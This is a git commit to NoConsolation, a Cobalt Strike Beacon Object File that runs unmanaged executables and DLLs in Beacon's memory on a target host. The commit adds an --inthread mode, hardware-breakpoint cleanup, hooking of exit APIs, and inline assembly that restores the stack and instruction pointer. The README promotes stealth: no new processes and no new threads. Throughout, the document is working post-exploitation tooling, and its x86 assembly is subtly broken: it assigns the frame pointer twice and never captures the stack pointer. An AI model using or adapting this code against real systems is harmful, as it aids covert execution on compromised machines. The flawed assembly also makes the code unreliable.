add new option: --inthread

run a PE inline without creating a new thread
This commit is contained in:
S4ntiagoP
2024-09-14 15:53:32 -03:00
parent ff5d16d064
commit 7994bdc24a
15 changed files with 411 additions and 50 deletions
+1 -1
View File
@@ -3,7 +3,7 @@ CC_x64 := x86_64-w64-mingw32-gcc
CC_x86 := i686-w64-mingw32-gcc
STRIP_x64 := x86_64-w64-mingw32-strip
STRIP_x86 := i686-w64-mingw32-strip
OPTIONS := -Wall -I include
OPTIONS := -masm=intel -Wall -I include
release:
$(CC_x64) -c source/entry.c -o dist/$(BOFNAME).x64.o $(OPTIONS)
+18 -4
View File
@@ -1,7 +1,7 @@
alias noconsolation
{
local('$bid $barch $PE $args $path $path_set $name_set $pebytes $x $matchfound $pe_id $local $cmdline $headers $method $use_unicode $timeout $nooutput $alloc_console $close_handles $free_libs $dont_save $list_pes $unload_pe $link_to_peb $dont_unload $load_all_deps $load_all_deps_but $load_deps $search_paths $pepath $pename');
local('$bid $barch $PE $args $path $path_set $name_set $pebytes $x $matchfound $pe_id $local $cmdline $headers $method $use_unicode $timeout $timeout_set $nooutput $alloc_console $close_handles $free_libs $dont_save $list_pes $unload_pe $link_to_peb $dont_unload $load_all_deps $load_all_deps_but $load_deps $search_paths $pepath $pename $inthread');
$bid = $1;
$pe_id = 0;
@@ -17,6 +17,7 @@ alias noconsolation
$method = '';
$use_unicode = 0;
$timeout = 60;
$timeout_set = 0;
$nooutput = 0;
$alloc_console = 0;
$close_handles = 0;
@@ -30,6 +31,7 @@ alias noconsolation
$load_all_deps_but = '';
$load_deps = '';
$search_paths = '';
$inthread = 0;
# make sure the beacon is not WoW64
$is64 = binfo($bid, "is64");
@@ -68,6 +70,7 @@ alias noconsolation
berror($1, "Invalid timeout: " . $timeout);
return;
}
$timeout_set = 1;
}
else if (@_[$i] eq "-k")
{
@@ -173,6 +176,10 @@ alias noconsolation
$search_paths = @_[$i];
}
else if (@_[$i] eq "--inthread" || @_[$i] eq "-it")
{
$inthread = 1;
}
else if (-exists @_[$i] || @_[$i] ismatch '^\p{Alpha}:\\\\.*')
{
$path_set = 1;
@@ -233,6 +240,12 @@ alias noconsolation
return;
}
if ($timeout_set && $inthread)
{
berror($bid, "The options --inthread and --timeout are not compatible");
return;
}
if ($path_set)
{
if ($local == 0)
@@ -270,7 +283,7 @@ alias noconsolation
}
}
runpe($bid, $pename, $pepath, $pebytes, $path, $local, $timeout, $headers, $cmdline, $method, $use_unicode, $nooutput, $alloc_console, $close_handles, $free_libs, $dont_save, $list_pes, $unload_pe, mynick(), tstamp(ticks()), $link_to_peb, $dont_unload, $load_all_deps, $load_all_deps_but, $load_deps, $search_paths);
runpe($bid, $pename, $pepath, $pebytes, $path, $local, $timeout, $headers, $cmdline, $method, $use_unicode, $nooutput, $alloc_console, $close_handles, $free_libs, $dont_save, $list_pes, $unload_pe, mynick(), tstamp(ticks()), $link_to_peb, $dont_unload, $load_all_deps, $load_all_deps_but, $load_deps, $search_paths, $inthread);
}
sub runpe{
@@ -286,7 +299,7 @@ sub runpe{
}
# Pack the arguments
$args = bof_pack($1, "ZzZbziiiZzziiiiiiizzziiizzz", $2 $2, $3, $4, $5, $6, $7, $8, $9, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19, $20, $21, $22, $23, $24, $25, $26);
$args = bof_pack($1, "ZzZbziiiZzziiiiiiizzziiizzzi", $2 $2, $3, $4, $5, $6, $7, $8, $9, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19, $20, $21, $22, $23, $24, $25, $26, $27);
# Execute BOF
beacon_inline_execute($1, $data, "go", $args);
@@ -298,8 +311,9 @@ beacon_command_register(
"
Summary: Run an unmanaged EXE/DLL inside Beacon's memory.
Usage: noconsolation [--local] [--link-to-peb] [--dont-unload] [--timeout 60] [-k] [--method funcname] [-w] [--no-output] [--alloc-console] [--close-handles] [--free-libraries] [--dont-save] [--list-pes] [--unload-pe pename] [--load-all-dependencies] [--load-all-dependencies-but advapi32.dll] [--load-dependencies wininet.dll] [--search-paths C:\\Windows\\Temp\\] /path/to/binary.exe arg1 arg2
Usage: noconsolation [--local] [--inthread] [--link-to-peb] [--dont-unload] [--timeout 60] [-k] [--method funcname] [-w] [--no-output] [--alloc-console] [--close-handles] [--free-libraries] [--dont-save] [--list-pes] [--unload-pe pename] [--load-all-dependencies] [--load-all-dependencies-but advapi32.dll] [--load-dependencies wininet.dll] [--search-paths C:\\Windows\\Temp\\] /path/to/binary.exe arg1 arg2
--local, -l Optional. The binary should be loaded from the target Windows machine
--inthread, -it Optional. Run the PE with the main thread. This might hang your beacon depending on the PE and its arguments.
--link-to-peb, -ltp Optional. Load the PE into the PEB
--dont-unload, -du Optional. If set, the DLL won't be unloaded.
--timeout NUM_SECONDS, -t NUM_SECONDS Optional. The number of seconds you wish to wait for the PE to complete running. Default 60 seconds. Set to 0 to disable
+3 -1
View File
@@ -8,6 +8,7 @@ This is a Beacon Object File (BOF) that executes unmanaged PEs inline and retrie
- Supports 64 and 32 bits
- Supports EXEs and DLLs
- Does not create new processes
- Does not create new threads
- Links modules to the PEB
- Saves binaries in memory
- Supports C++ exceptions (x64 only)
@@ -17,8 +18,9 @@ This is a Beacon Object File (BOF) that executes unmanaged PEs inline and retrie
```
Summary: Run an unmanaged EXE/DLL inside Beacon's memory.
Usage: noconsolation [--local] [--link-to-peb] [--dont-unload] [--timeout 60] [-k] [--method funcname] [-w] [--no-output] [--alloc-console] [--close-handles] [--free-libraries] [--dont-save] [--list-pes] [--unload-pe pename] [--load-all-dependencies] [--load-all-dependencies-but advapi32.dll] [--load-dependencies wininet.dll] [--search-paths C:\\Windows\\Temp\\] /path/to/binary.exe arg1 arg2
Usage: noconsolation [--local] [--inthread] [--link-to-peb] [--dont-unload] [--timeout 60] [-k] [--method funcname] [-w] [--no-output] [--alloc-console] [--close-handles] [--free-libraries] [--dont-save] [--list-pes] [--unload-pe pename] [--load-all-dependencies] [--load-all-dependencies-but advapi32.dll] [--load-dependencies wininet.dll] [--search-paths C:\\Windows\\Temp\\] /path/to/binary.exe arg1 arg2
--local, -l Optional. The binary should be loaded from the target Windows machine
--inthread, -it Optional. Run the PE with the main thread. This might hang your beacon depending on the PE and its arguments.
--link-to-peb, -ltp Optional. Load the PE into the PEB
--dont-unload, -du Optional. If set, the DLL won't be unloaded.
--timeout NUM_SECONDS, -t NUM_SECONDS Optional. The number of seconds you wish to wait for the PE to complete running. Default 60 seconds. Set to 0 to disable
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+45
View File
@@ -566,6 +566,47 @@ typedef struct _PEB2
ULONG NtGlobalFlag2;
} PEB2, *PPEB2;
typedef struct _NT_TIB2
{
struct _EXCEPTION_REGISTRATION_RECORD* ExceptionList; //0x0
VOID* StackBase; //0x8
VOID* StackLimit; //0x10
VOID* SubSystemTib; //0x18
union
{
VOID* FiberData; //0x20
ULONG Version; //0x20
};
VOID* ArbitraryUserPointer; //0x28
struct _NT_TIB2* Self; //0x30
} NT_TIB2, *PNT_TIB2;
typedef struct _TEB2
{
struct _NT_TIB2 NtTib; //0x0
VOID* EnvironmentPointer; //0x38
struct _CLIENT_ID ClientId; //0x40
VOID* ActiveRpcHandle; //0x50
VOID* ThreadLocalStoragePointer; //0x58
struct _PEB* ProcessEnvironmentBlock; //0x60
ULONG LastErrorValue; //0x68
ULONG CountOfOwnedCriticalSections; //0x6c
VOID* CsrClientThread; //0x70
VOID* Win32ThreadInfo; //0x78
ULONG User32Reserved[26]; //0x80
ULONG UserReserved[5]; //0xe8
VOID* WOW32Reserved; //0x100
ULONG CurrentLocale; //0x108
ULONG FpSoftwareStatusRegister; //0x10c
VOID* ReservedForDebuggerInstrumentation[16]; //0x110
VOID* SystemReserved1[30]; //0x190
CHAR PlaceholderCompatibilityMode; //0x280
UCHAR PlaceholderHydrationAlwaysExplicit; //0x281
CHAR PlaceholderReserved[10]; //0x282
ULONG ProxiedProcessId; //0x28c
// ...
} TEB2, *PTEB2;
typedef struct _INVERTED_FUNCTION_TABLE_ENTRY
{
PVOID FunctionTable;
@@ -614,6 +655,8 @@ WINBASEAPI NTSTATUS NTAPI NTDLL$RtlUnicodeStringToAnsiString(PANSI_STRING Dest
WINBASEAPI NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, MEMORY_INFORMATION_CLASS MemoryInformationClass, PVOID MemoryInformation, SIZE_T MemoryInformationLength, PSIZE_T ReturnLength);
WINBASEAPI NTSTATUS NTAPI NTDLL$NtCreateThreadEx(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PVOID AttributeList);
WINBASEAPI SIZE_T NTSYSAPI NTDLL$RtlCompareMemory(VOID *Source1, VOID *Source2, SIZE_T Length);
WINBASEAPI NTSTATUS NTAPI NTDLL$NtGetContextThread(HANDLE, PCONTEXT);
WINBASEAPI NTSTATUS NTAPI NTDLL$NtSetContextThread(HANDLE, PCONTEXT);
WINBASEAPI WCHAR* __cdecl MSVCRT$wcscpy(WCHAR *strDestination,const WCHAR *strSource);
WINBASEAPI int __cdecl MSVCRT$_stricmp(const char *string1,const char *string2);
@@ -649,6 +692,8 @@ WINBASEAPI BOOL WINAPI KERNEL32$FreeLibrary(HANDLE hLibModule);
#define NtQueryVirtualMemory NTDLL$NtQueryVirtualMemory
#define NtCreateThreadEx NTDLL$NtCreateThreadEx
#define RtlCompareMemory NTDLL$RtlCompareMemory
#define NtGetContextThread NTDLL$NtGetContextThread
#define NtSetContextThread NTDLL$NtSetContextThread
#define wcscpy MSVCRT$wcscpy
#define _stricmp MSVCRT$_stricmp
+10 -1
View File
@@ -6,7 +6,8 @@
#define NC_SAVED_PE_KEY "NoConsolationSavedPeKey"
#define NC_PE_INFO_KEY "NoConsolationPeInfoKey"
#define NC_LOADED_DLL_KEY "NoConsolationLoadedDllKey"
#define NC_MEM_STRUCTS_KEY "NoConsolationMeStructsKey"
#define NC_MEM_STRUCTS_KEY "NoConsolationMemStructsKey"
#define NC_EXEC_CTX "NoConsolationExecCtxKey"
#define MIN_XOR_KEY_LENGTH 16
@@ -100,6 +101,7 @@ typedef struct _LOADED_PE_INFO {
BOOL linked;
PVOID ldr_entry;
BOOL dont_unload;
BOOL inthread;
} LOADED_PE_INFO, * PLOADED_PE_INFO;
typedef struct _LIBS_LOADED {
@@ -112,3 +114,10 @@ typedef struct _LIB_LOADED {
PVOID address;
PLOADED_PE_INFO peinfo;
} LIB_LOADED, * PLIB_LOADED;
typedef struct _EXEC_CTX {
PVOID Rsp;
PVOID Rbp;
PVOID Rip;
DWORD Tid;
} EXEC_CTX, * PEXEC_CTX;
+2 -2
View File
@@ -41,8 +41,8 @@ ULONG_PTR set_bits(
ULONG_PTR newValue);
VOID clear_breakpoint(
CONTEXT* ctx,
int index);
IN CONTEXT* ctx,
IN DWORD index);
BOOL enable_breakpoint(
OUT CONTEXT* ctx,
+2
View File
@@ -17,6 +17,7 @@
#endif
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
#define NtCurrentThread() ( (HANDLE)(LONG_PTR) -2 )
typedef NTSTATUS(__stdcall* STDCALL)(PLDR_DATA_TABLE_ENTRY);
typedef NTSTATUS(__thiscall* THISCALL)(PLDR_DATA_TABLE_ENTRY);
@@ -35,6 +36,7 @@ typedef struct _IMAGE_RELOC {
} IMAGE_RELOC, *PIMAGE_RELOC;
typedef BOOL (WINAPI *DllMain_t)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved);
typedef BOOL (WINAPI *Entry_t)(PVOID Param1, PVOID Param2, PVOID Param3);
// for setting the command line...
typedef CHAR** (WINAPI *p_acmdln_t)(VOID);
+4
View File
@@ -121,6 +121,10 @@ VOID set_std_err_handle(
HANDLE get_std_in_handle(VOID);
DWORD get_tid(VOID);
VOID rtl_exit_user_thread(VOID);
BOOL create_thread(
OUT PHANDLE hThread);
+20 -4
View File
@@ -46,6 +46,7 @@ int go(IN PCHAR Buffer, IN ULONG Length)
PLOADED_PE_INFO peinfo = NULL;
PLIBS_LOADED libs_loaded = NULL;
PMEMORY_STRUCTS mem_structs = NULL;
BOOL inthread = FALSE;
BeaconDataParse(&parser, Buffer, Length);
pe_wname = (LPWSTR)BeaconDataExtract(&parser, NULL);
@@ -85,6 +86,7 @@ int go(IN PCHAR Buffer, IN ULONG Length)
load_deps = load_deps[0] ? load_deps : NULL;
search_paths = BeaconDataExtract(&parser, NULL);
search_paths = search_paths[0] ? search_paths : NULL;
inthread = BeaconDataInt(&parser);
peinfo = intAlloc(sizeof(LOADED_PE_INFO));
@@ -108,6 +110,7 @@ int go(IN PCHAR Buffer, IN ULONG Length)
peinfo->load_deps = load_deps;
peinfo->search_paths = search_paths;
peinfo->custom_loaded = TRUE;
peinfo->inthread = inthread;
// save a reference to peinfo
BeaconAddValue(NC_PE_INFO_KEY, peinfo);
@@ -186,10 +189,17 @@ int go(IN PCHAR Buffer, IN ULONG Length)
goto Cleanup;
}
if (!create_thread(&peinfo->hThread))
if (peinfo->inthread)
{
PRINT_ERR("failed to create thread");
goto Cleanup;
peinfo->hThread = NtCurrentThread();
}
else
{
if (!create_thread(&peinfo->hThread))
{
PRINT_ERR("failed to create thread");
goto Cleanup;
}
}
if (!redirect_std_out_err(peinfo))
@@ -214,6 +224,12 @@ Cleanup:
intFree(pe_bytes);
}
if (peinfo && peinfo->inthread && peinfo->hHwBp1)
unset_hwbp(peinfo->hThread, NT_DEVICE_IO_CONTROL_FILE_INDEX);
if (peinfo && peinfo->inthread && peinfo->hHwBp2)
unset_hwbp(peinfo->hThread, CREATE_FILE_INDEX);
if (peinfo && peinfo->hHwBp1)
remove_hwbp_handler(peinfo->hHwBp1);
@@ -294,7 +310,7 @@ Cleanup:
if (peinfo && peinfo->modified_console_reference)
*(PHANDLE)peinfo->console_reference_addr = peinfo->original_console_reference;
if (peinfo && peinfo->hThread)
if (peinfo && peinfo->hThread && !peinfo->inthread)
{
TerminateThread(peinfo->hThread, 0);
NtClose(peinfo->hThread);
+69 -25
View File
@@ -2,6 +2,17 @@
#include "hwbp.h"
#include "peb.h"
ULONG_PTR set_bits(
IN ULONG_PTR dw,
IN int lowBit,
IN int bits,
IN ULONG_PTR newValue)
{
ULONG_PTR mask = (1UL << bits) - 1UL;
dw = (dw & ~(mask << lowBit)) | (newValue << lowBit);
return dw;
}
BOOL enable_breakpoint(
OUT CONTEXT* ctx,
IN PVOID address,
@@ -26,13 +37,38 @@ BOOL enable_breakpoint(
return FALSE;
}
ctx->Dr7 &= ~(3ull << (16 + 4 * index));
ctx->Dr7 &= ~(3ull << (18 + 4 * index));
ctx->Dr7 |= 1ull << (2 * index);
ctx->Dr7 = set_bits(ctx->Dr7, 16, 16, 0);
ctx->Dr7 = set_bits(ctx->Dr7, (index * 2), 1, 1);
return TRUE;
}
VOID clear_breakpoint(
IN CONTEXT* ctx,
IN DWORD index)
{
// Clear the releveant hardware breakpoint
switch (index)
{
case 0:
ctx->Dr0 = 0;
break;
case 1:
ctx->Dr1 = 0;
break;
case 2:
ctx->Dr2 = 0;
break;
case 3:
ctx->Dr3 = 0;
break;
}
ctx->Dr7 = set_bits(ctx->Dr7, (index * 2), 1, 0);
ctx->Dr6 = 0;
ctx->EFlags = 0;
}
BOOL set_hwbp(
IN HANDLE hThread,
IN PVOID address,
@@ -49,27 +85,12 @@ BOOL set_hwbp(
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
PVOID (WINAPI* RtlAddVectoredExceptionHandler) (ULONG, exception_callback) = xGetProcAddress(xGetLibAddress("ntdll", TRUE, NULL), "RtlAddVectoredExceptionHandler", 0);
NTSTATUS (NTAPI* NtGetContextThread)(HANDLE, PCONTEXT) = xGetProcAddress(xGetLibAddress("ntdll", TRUE, NULL), "NtGetContextThread", 0);
NTSTATUS (NTAPI* NtSetContextThread)(HANDLE, PCONTEXT) = xGetProcAddress(xGetLibAddress("ntdll", TRUE, NULL), "NtSetContextThread", 0);
if (!RtlAddVectoredExceptionHandler)
{
api_not_found("RtlAddVectoredExceptionHandler");
goto Cleanup;
}
if (!NtGetContextThread)
{
api_not_found("NtGetContextThread");
goto Cleanup;
}
if (!NtSetContextThread)
{
api_not_found("NtSetContextThread");
goto Cleanup;
}
hHwBpHandler = RtlAddVectoredExceptionHandler(1, hwbp_handler);
if (!hHwBpHandler)
{
@@ -110,13 +131,6 @@ VOID remove_hwbp_handler(
return;
ULONG (WINAPI* RtlRemoveVectoredExceptionHandler) (PVOID) = xGetProcAddress(xGetLibAddress("ntdll", TRUE, NULL), "RtlRemoveVectoredExceptionHandler", 0);
/*
* Given that the PE thread always dies,
* we do not need to clear the Dr7 register
* we simply remove the handler
*/
if (!RtlRemoveVectoredExceptionHandler)
{
api_not_found("RtlRemoveVectoredExceptionHandler");
@@ -128,3 +142,33 @@ VOID remove_hwbp_handler(
function_failed("RtlRemoveVectoredExceptionHandler");
}
}
VOID unset_hwbp(
IN HANDLE hThread,
IN UINT32 index)
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
CONTEXT threadCtx = { 0 };
memset(&threadCtx, 0, sizeof(threadCtx));
threadCtx.ContextFlags = CONTEXT_ALL;
status = NtGetContextThread(hThread, &threadCtx);
if (!NT_SUCCESS(status))
{
syscall_failed("NtGetContextThread", status);
goto cleanup;
}
clear_breakpoint(&threadCtx, index);
status = NtSetContextThread(hThread, &threadCtx);
if (!NT_SUCCESS(status))
{
syscall_failed("NtSetContextThread", status);
goto cleanup;
}
cleanup:
return;
}
+2 -2
View File
@@ -265,8 +265,8 @@ PVOID handle_import(
// if this is an exit-related API, replace it with RtlExitUserThread
if (IsExitAPI(api_name))
{
DPRINT("IAT hooking %s!%s with ntdll!RtlExitUserThread", dll_name ? dll_name : "?", api_name);
address = xGetProcAddress(xGetLibAddress("ntdll", TRUE, NULL), "RtlExitUserThread", 0);
DPRINT("IAT hooking %s!%s with rtl_exit_user_thread", dll_name ? dll_name : "?", api_name);
address = rtl_exit_user_thread;
}
// some PEs search for exit-related APIs using GetProcAddress
else if (peinfo && !peinfo->dont_unload && !peinfo->is_dependency && !_stricmp(api_name, "GetProcAddress"))
+183 -10
View File
@@ -1,6 +1,117 @@
#include "runner.h"
BOOL exec_entrypoint_inthread(
IN PVOID EntryPoint,
IN PVOID Param1,
IN PVOID Param2,
IN PVOID Param3)
{
Entry_t Entry = EntryPoint;
PVOID Rsp = NULL;
PVOID Rbp = NULL;
PEXEC_CTX exec_ctx = NULL;
// get RSP and RBP
#ifdef _WIN64
__asm__(
"mov rax, rsp \n"
"mov rdx, rbp \n"
: "=r" (Rbp), // RDX OUT
"=r" (Rsp) // RAX OUT
:
);
#else
__asm__(
"mov eax, esp \n"
"mov edx, ebp \n"
: "=r" (Rbp), // EDX OUT
"=r" (Rbp) // EAX OUT
:
);
#endif
// save the execution context in the Key/Value store
exec_ctx = intAlloc(sizeof(EXEC_CTX));
exec_ctx->Rsp = Rsp;
exec_ctx->Rbp = Rbp;
exec_ctx->Rip = &&return_addr;
exec_ctx->Tid = get_tid();
BeaconAddValue(NC_EXEC_CTX, exec_ctx);
// jumping to the entry point... wish me luck!
Entry(Param1, Param2, Param3);
return_addr:
DPRINT("Execution context restored"); // :^)
memset(exec_ctx, 0, sizeof(EXEC_CTX));
intFree(exec_ctx);
BeaconRemoveValue(NC_EXEC_CTX);
return TRUE;
}
BOOL run_pe_inthread(
IN PLOADED_PE_INFO peinfo)
{
if (peinfo->is_dll)
{
if (peinfo->method)
{
DPRINT("Executing %ls!%s", peinfo->pe_wname, peinfo->method);
if (peinfo->cmdwline || peinfo->cmdline)
{
if (peinfo->use_unicode)
{
if (!exec_entrypoint_inthread(peinfo->DllParam, (PVOID)peinfo->cmdwline, NULL, NULL))
{
return FALSE;
}
}
else
{
if (!exec_entrypoint_inthread(peinfo->DllParam, (PVOID)peinfo->cmdline, NULL, NULL))
{
return FALSE;
}
}
}
else
{
if (!exec_entrypoint_inthread(peinfo->DllParam, NULL, NULL, NULL))
{
return FALSE;
}
}
}
else
{
if (peinfo->DllMain)
{
DPRINT("Executing DllMain(hinstDLL, DLL_PROCESS_ATTACH, NULL)");
if (!exec_entrypoint_inthread(peinfo->DllMain, peinfo->pe_base, (PVOID)DLL_PROCESS_ATTACH, NULL))
{
return FALSE;
}
}
}
}
else
{
DPRINT("Executing %ls", peinfo->pe_wname);
if (!exec_entrypoint_inthread(peinfo->EntryPoint, NULL, NULL, NULL))
{
return FALSE;
}
}
return TRUE;
}
BOOL set_thread_context(
IN HANDLE hThread,
IN PVOID Rip,
@@ -146,7 +257,7 @@ BOOL resume_thread(
return TRUE;
}
BOOL read_output(
BOOL read_output_from_thread(
IN PLOADED_PE_INFO peinfo,
OUT PBOOL aborted)
{
@@ -272,6 +383,53 @@ BOOL read_output(
return TRUE;
}
BOOL read_output_inthread(
IN PLOADED_PE_INFO peinfo)
{
DWORD output_length = 0;
PCHAR recv_buffer = NULL;
if (peinfo->nooutput)
return TRUE;
recv_buffer = intAlloc(BUFFER_SIZE);
if (!recv_buffer)
{
malloc_failed();
return FALSE;
}
do {
// See if/how much data is available to be read from pipe
if (!PeekNamedPipe(peinfo->Handles->hRead, NULL, 0, NULL, &output_length, NULL))
{
function_failed("PeekNamedPipe");
}
// If there is data to be read, zero out buffer, read data, and send back to CS
if (output_length)
{
memset(recv_buffer, 0, BUFFER_SIZE);
if (ReadFile((PVOID)peinfo->Handles->hRead, recv_buffer, BUFFER_SIZE - 1, NULL, NULL))
{
// Send output back
PRINT("%s", recv_buffer);
}
else
{
function_failed("ReadFile");
}
}
} while (output_length);
// Free results buffer
memset(recv_buffer, 0, BUFFER_SIZE);
intFree(recv_buffer);
return TRUE;
}
BOOL run_pe(
IN PLOADED_PE_INFO peinfo)
{
@@ -288,19 +446,34 @@ BOOL run_pe(
return TRUE;
}
if (!prepare_thread(peinfo))
if (peinfo->inthread)
{
return FALSE;
}
if (!run_pe_inthread(peinfo))
{
return FALSE;
}
if (!resume_thread(peinfo))
{
return FALSE;
if (!read_output_inthread(peinfo))
{
return FALSE;
}
}
if (!read_output(peinfo, &aborted))
else
{
return FALSE;
if (!prepare_thread(peinfo))
{
return FALSE;
}
if (!resume_thread(peinfo))
{
return FALSE;
}
if (!read_output_from_thread(peinfo, &aborted))
{
return FALSE;
}
}
if (peinfo->is_dll && peinfo->DllMain && !aborted && !peinfo->dont_unload)
+52
View File
@@ -739,6 +739,58 @@ HANDLE get_std_in_handle(VOID)
return ProcessParameters->StandardInput;
}
DWORD get_tid(VOID)
{
return (DWORD)(ULONG_PTR)((PTEB2)NtCurrentTeb())->ClientId.UniqueThread;
}
VOID rtl_exit_user_thread(VOID)
{
PEXEC_CTX exec_ctx = BeaconGetValue(NC_EXEC_CTX);
// do we have a execution context saved?
if (exec_ctx)
{
// ensure this is the main thread
if (exec_ctx->Tid == get_tid())
{
// PE has exited, restore the execution context
#ifdef _WIN64
__asm__(
"mov rsp, rax \n"
"mov rbp, rdx \n"
"jmp rcx \n"
: // no outputs
: "r" (exec_ctx->Rsp), // RAX IN
"r" (exec_ctx->Rbp), // RDX IN
"r" (exec_ctx->Rip) // RCX IN
);
#else
__asm__(
"mov esp, eax \n"
"mov ebp, edx \n"
"jmp ecx \n"
: // no outputs
: "r" (exec_ctx->Rsp), // EAX IN
"r" (exec_ctx->Rbp), // EDX IN
"r" (exec_ctx->Rip) // ECX IN
);
#endif
}
}
// either there is no execution context saved or this is not the main thread, simply exit
VOID ( WINAPI *RtlExitUserThread ) ( NTSTATUS ) = xGetProcAddress(xGetLibAddress("ntdll", TRUE, NULL), "RtlExitUserThread", 0);
if (RtlExitUserThread)
{
return RtlExitUserThread(0);
}
else
{
api_not_found("RtlExitUserThread");
}
}
BOOL create_thread(
OUT PHANDLE hThread)
{